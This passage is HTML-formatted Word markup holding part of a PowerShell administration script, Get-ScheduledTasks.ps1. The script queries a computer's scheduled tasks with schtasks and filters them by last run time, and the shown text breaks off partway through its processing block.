&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;This command will connect to Server01 and gather the requested Scheduled&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Tasks.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.EXAMPLE&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PS C:\&amp;gt; .\Get-ScheduledTasks.ps1 -ComputerName Server01 -runPeriod 5&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;DESCRIPTION&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;-----------&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;This command will connect to Server01 and gather the requested Scheduled&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Tasks from the past five (5) days.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.INPUTS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;System.String,System.Int32&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.OUTPUTS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Nothing&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.NOTES&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;This script is designed to be run as a scheduled task.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.LINK&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;about_functions_advanced&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;.LINK&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;about_comment_based_help&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#008000;"&gt;#&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;[CmdletBinding()]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="color:#0000ff;"&gt;&lt;span&gt;Param&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; (&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;[Parameter(ValueFromPipeline&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$true&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;)]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#008080;"&gt;string&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$ComputerName&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$env:COMPUTERNAME&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#008080;"&gt;int&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$runPeriod&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="color:#0000ff;"&gt;&lt;span&gt;PROCESS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; {&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$tasks&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &amp;amp; schtasks /query /s &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$ComputerName&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; /fo csv /v | &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;ConvertFrom-Csv&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; (&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$tasks&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:1;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$tasks&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; | &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;ForEach-Object&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; {&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; (&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Last Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;-as&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; [&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#008080;"&gt;datetime&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
